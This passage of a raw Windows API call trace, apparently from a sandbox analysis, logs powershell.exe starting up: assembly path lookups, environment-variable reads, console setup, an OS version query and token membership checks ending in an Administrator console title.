lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0064.804] GetLastError () returned 0x57 [0064.804] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0064.804] GetLastError () returned 0x57 [0065.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0065.396] GetLastError () returned 0x2 [0065.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0065.396] GetLastError () returned 0x2 [0065.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0065.694] GetLastError () returned 0x2 [0065.694] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x29e560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0065.694] GetLastError () returned 0x2 [0065.718] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0065.718] GetLastError () returned 0xcb [0065.718] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e628, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0065.718] GetLastError () returned 0xcb [0065.719] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0065.719] GetLastError () returned 0xcb [0065.719] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0065.719] GetLastError () returned 0xcb [0065.723] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0065.723] GetLastError () returned 0xcb [0065.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x29e56c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0065.780] GetLastError () returned 0x2 [0065.780] SetErrorMode (uMode=0x1) returned 0x1 [0065.780] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x29ea14 | out: lpFileInformation=0x29ea14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0065.780] GetLastError () returned 0x2 [0065.780] SetErrorMode (uMode=0x1) returned 0x1 [0066.055] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e628, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.055] GetLastError () returned 0x0 [0066.055] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.055] GetLastError () returned 0x0 [0066.056] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.056] GetLastError () returned 0x0 [0066.062] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.062] GetLastError () returned 0xcb [0066.070] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.070] GetLastError () returned 0xcb [0066.070] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.070] GetLastError () returned 0xcb [0066.077] CoCreateGuid (in: pguid=0x29eaf4 | out: pguid=0x29eaf4*(Data1=0x3f637927, Data2=0x3ab4, Data3=0x4728, Data4=([0]=0xb5, [1]=0xa0, [2]=0xe3, [3]=0xb6, [4]=0xb0, [5]=0xce, [6]=0x7f, [7]=0x4))) returned 0x0 [0066.083] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.083] GetLastError () returned 0xcb [0066.091] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.091] GetLastError () returned 0xcb [0066.095] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0066.095] GetLastError () returned 0xcb [0066.104] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0066.105] GetLastError () returned 0x0 [0066.107] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x29e9d4 | out: lpConsoleScreenBufferInfo=0x29e9d4) returned 1 [0066.107] GetLastError () returned 0x0 [0066.116] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0066.116] GetLastError () returned 0x0 [0066.116] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x29e9d4 | out: lpConsoleScreenBufferInfo=0x29e9d4) returned 1 [0066.117] GetLastError () returned 0x0 [0066.117] GetVersionExW (in: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x356710*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0066.117] GetLastError () returned 0x0 [0066.118] GetCurrentProcess () returned 0xffffffff [0066.118] GetLastError () returned 0x3f0 [0066.119] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x29e9e4 | out: TokenHandle=0x29e9e4*=0x348) returned 1 [0066.119] GetLastError () returned 0x3f0 [0066.121] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x29ea3c | out: TokenInformation=0x0, ReturnLength=0x29ea3c) returned 0 [0066.121] GetLastError () returned 0x7a [0066.122] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x379640, TokenInformationLength=0x4, ReturnLength=0x29ea3c | out: TokenInformation=0x379640, ReturnLength=0x29ea3c) returned 1 [0066.122] GetLastError () returned 0x7a [0066.123] DuplicateTokenEx (in: hExistingToken=0x348, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x29e9f4 | out: phNewToken=0x29e9f4*=0x340) returned 1 [0066.123] GetLastError () returned 0x7f [0066.123] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x29ea3c | out: TokenInformation=0x0, ReturnLength=0x29ea3c) returned 0 [0066.123] GetLastError () returned 0x7a [0066.123] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x379620, TokenInformationLength=0x4, ReturnLength=0x29ea3c | out: TokenInformation=0x379620, ReturnLength=0x29ea3c) returned 1 [0066.123] GetLastError () returned 0x7a [0066.123] CheckTokenMembership (in: TokenHandle=0x340, SidToCheck=0x2b21ee0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x29e9d0 | out: IsMember=0x29e9d0) returned 1 [0066.123] GetLastError () returned 0x7a [0066.123] CloseHandle (hObject=0x340) returned 1 [0066.123] GetLastError () returned 0x7a [0066.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.124] GetLastError () returned 0x7a [0066.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e494, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.124] GetLastError () returned 0x7a [0066.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e494, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.124] GetLastError () returned 0x7a [0066.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e494, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.124] GetLastError () returned 0x7a [0066.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4e4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.165] GetLastError () returned 0x7a [0066.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e494, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.165] GetLastError () returned 0x7a [0066.165] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e494, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.165] GetLastError () returned 0x7a [0066.182] GetConsoleTitleW (in: lpConsoleTitle=0x356eb8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0066.187] GetLastError () returned 0x7a [0066.252] GetConsoleTitleW (in: lpConsoleTitle=0x356eb8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0066.252] GetLastError () returned 0x7a [0066.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.252] GetLastError () returned 0x7a [0066.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.252] GetLastError () returned 0x7a [0066.252] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e48c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.252] GetLastError () returned 0x7a [0066.254] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0066.255] GetLastError () returned 0x7a [0066.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.255] GetLastError () returned 0x7a [0066.255] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.255] GetLastError () returned 0x7a [0066.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.256] GetLastError () returned 0x7a [0066.256] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.256] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e528, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.294] GetLastError () returned 0x7a [0066.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e4d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0066.295] GetLastError () returned 0x7a [0070.086] SetConsoleCtrlHandler (HandlerRoutine=0x277384a, Add=1) returned 1 [0070.086] GetLastError () returned 0x7a [0070.370] CoCreateGuid (in: pguid=0x29ea08 | out: pguid=0x29ea08*(Data1=0xdc00e61c, Data2=0xeed4, Data3=0x483d, Data4=([0]=0x82, [1]=0x37, [2]=0xc3, [3]=0xc5, [4]=0xb0, [5]=0x13, [6]=0xa8, [7]=0x83))) returned 0x0 [0070.380] WinSqmIsOptedIn () returned 0x0 [0070.380] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.380] GetLastError () returned 0xcb [0070.382] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.382] GetLastError () returned 0xcb [0070.382] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.382] GetLastError () returned 0xcb [0070.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.383] GetLastError () returned 0xcb [0070.383] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.383] GetLastError () returned 0xcb [0070.384] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.384] GetLastError () returned 0xcb [0070.388] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.388] GetLastError () returned 0xcb [0070.388] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.388] GetLastError () returned 0xcb [0070.392] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.392] GetLastError () returned 0xcb [0070.399] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: 